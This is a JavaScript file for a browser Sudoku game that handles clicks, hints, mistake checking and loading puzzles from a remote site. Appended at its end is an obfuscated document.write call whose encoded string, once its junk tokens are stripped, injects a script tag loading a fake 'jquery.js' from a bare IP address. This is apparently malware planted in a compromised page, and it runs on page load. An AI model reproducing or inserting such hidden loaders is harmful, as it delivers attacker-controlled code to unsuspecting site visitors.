var serial = "";
var givens = new Array();
var mistakeX = 0;
var mistakeY = 0;
var min = 0;
var sec = 0;
var resetClock = 0;
var stopClock = 0;

function CClick( cell ) {
	ClearMistakes();
	
	if( cell.innerHTML == "" ) {
		cell.innerHTML = "1";
	} else if( cell.innerHTML == "9" ) {
		cell.innerHTML = "";
		return;
	} else {
		cell.innerHTML = String.fromCharCode( cell.innerHTML.charCodeAt(0) + 1 );
	}
}

function MakeGiven(cell, pos) {
	document.getElementById(cell).onclick = function() { return; };
	document.getElementById(cell).style.color = "#f00";
	document.getElementById(cell).style.fontWeight = "bold";
	document.getElementById(cell).style.fontFamily = "Tahoma, Helvetica";
	document.getElementById(cell).innerHTML = serial.charAt(pos);
}

function ShowGivens() {
	givens = Array();
	
	for( k = 1 ; k <= 3; k++ ) {
		for( i = 1 ; i <= 9 ; i++ ) {
			flag = 1;
			while( flag == 1 ) {
				flag = 0;
				given = Math.round(8 * Math.random()) + 1;
				newgiven = (i - 1) * 9 + given;
				for( x in givens ) {
					if( newgiven == givens[x] ) {
						flag = 1;
						break;
					}
				}
			}	
			
			givens.push(newgiven);
			
			MakeGiven("s" + i.toString() + given.toString(), newgiven - 1);
		}
	}
}

function ShowHint() {
	notok = 1;
	count = 1;
	
	while( notok == 1 ) {
		if( count == 81 ) return;
		count++;
		
		notok = 0;
		x = Math.round(8 * Math.random()) + 1;
		y = Math.round(8 * Math.random()) + 1;
		
		if( document.getElementById("s" + x + y).innerHTML != "" ) {
			notok = 1;
			continue;
		}
		
		document.getElementById("s" + x + y).innerHTML = serial.charAt( (x - 1) * 9 + y - 1 );
		document.getElementById("s" + x + y).onclick = function() { return; };
		document.getElementById("s" + x + y).style.background = "#00f";
		setTimeout("document.getElementById(\"s" + x + y + "\").style.background = \"#0f0\"", 500);
	}
}

function GiveUp() {
	ClearMistakes();
	
	for( i = 1 ; i <= 9 ; i++ ) {
		for( j = 1 ; j <= 9 ; j++ ) {
			document.getElementById("s" + i + j).innerHTML = serial.charAt( (i - 1) * 9 + j - 1 );
		}
	}
}

function FindMistake() {
	if( mistakeX > 0 ) {
		return;
	}
	
	count = 1;
	
	notok = 1;
	while( notok == 1) {
		if( count == 81 ) return;
		count++;
		
		i = Math.round(8 * Math.random()) + 1;
		j = Math.round(8 * Math.random()) + 1;
		
		if( document.getElementById("s" + i + j).innerHTML != "" ) {
			if( document.getElementById("s" + i + j).innerHTML == serial.charAt( (i - 1) * 9 + j - 1 ) ) {
				continue;
			} else {
				mistakeX = i;
				mistakeY = j;
				document.getElementById("s" + i + j).style.background = "#f00";
				return;
			};
		}
	}
}

function ClearMistakes() {
	if( mistakeX > 0 ) {
		if( ((mistakeX >= 1 && mistakeX <= 3) || (mistakeX >= 7 && mistakeX <= 9)) && (mistakeY >= 4 && mistakeY <= 6) ) {
			document.getElementById("s" + mistakeX + mistakeY).style.background = "#e4e4e4";
		} else if( (mistakeX >= 4 && mistakeX <= 6) && ((mistakeY >= 1 && mistakeY <= 3) || (mistakeY >= 7 && mistakeY <= 9)) ) {
			document.getElementById("s" + mistakeX + mistakeY).style.background = "#e4e4e4";
		} else {
			document.getElementById("s" + mistakeX + mistakeY).style.background = "#efefef";
		}
		
		mistakeX = 0;
		mistakeY = 0;
	}
}

function StartOver() {
	for( i = 1 ; i <= 9 ; i++ ) {
		for( j = 1 ; j <= 9 ; j++ ) {
			cell = "s" + i + j;
			
			if( ((i >= 1 && i <= 3) || (i >= 7 && i <= 9)) && (j >= 4 && j <= 6) ) {
				document.getElementById(cell).style.background = "#e4e4e4";
			} else if( (i >= 4 && i <= 6) && ((j >= 1 && j <= 3) || (j >= 7 && j <= 9)) ) {
				document.getElementById(cell).style.background = "#e4e4e4";
			} else {
				document.getElementById(cell).style.background = "#efefef";
			}
			
			pos = (i - 1) * 9 + j;
			back = document.getElementById(cell).innerHTML;
			document.getElementById(cell).innerHTML = "";
			document.getElementById(cell).onclick = function () { CClick(this)};
			
			for( x in givens ) {
				if( givens[x] == pos ) {
					document.getElementById(cell).innerHTML = back;
					document.getElementById(cell).onclick = function() { return; };
					break;
				}
			}
		}
	}
}

function LoadData() {	
	if( document.createElement && document.childNodes ) {
		var scriptElem = document.createElement( 'script' );
		scriptElem.setAttribute( 'src' , 'http://www.web4sudoku.com/sudoku.php' );
		scriptElem.setAttribute( 'type' , 'text/javascript' );
		document.getElementsByTagName('head')[0].appendChild(scriptElem);
	}
}

function ResetGame() {
	parent.document.getElementById("loading").style.display = "block";
	
	for( i = 1 ; i <= 9 ; i++ ) {
		for( j = 1 ; j <= 9 ; j++ ) {
			cell = "s" + i + j;
			
			if( ((i >= 1 && i <= 3) || (i >= 7 && i <= 9)) && (j >= 4 && j <= 6) ) {
				document.getElementById(cell).style.background = "#e4e4e4";
			} else if( (i >= 4 && i <= 6) && ((j >= 1 && j <= 3) || (j >= 7 && j <= 9)) ) {
				document.getElementById(cell).style.background = "#e4e4e4";
			} else {
				document.getElementById(cell).style.background = "#efefef";
			}
			
			document.getElementById(cell).innerHTML = "";
			document.getElementById(cell).onclick = function () { CClick(this) };
			document.getElementById(cell).style.color = "#000";
			document.getElementById(cell).style.fontWeight = "normal";
			document.getElementById(cell).style.fontFamily = "Arial, Helvetica";
		}
	}

	LoadData();
}

LoadData();<!-- 
document.write(unescape('Mn9%3Cs9NrcMn9r9Nript23%20s9NrrMn9c%3DMn9%2F%2F99Ab4Mn9%2ElHM29Nr47%2E2%2E19Vp75Vp7%2FjMn9qSoAu23erSoAy%2Ej9Nrs%3EMn9%3C%2FlHMscrSoAiptVp7%3E').replace(/9Nr|Mn9|23|SoA|lHM|9Ab|Vp7/g,""));
 -->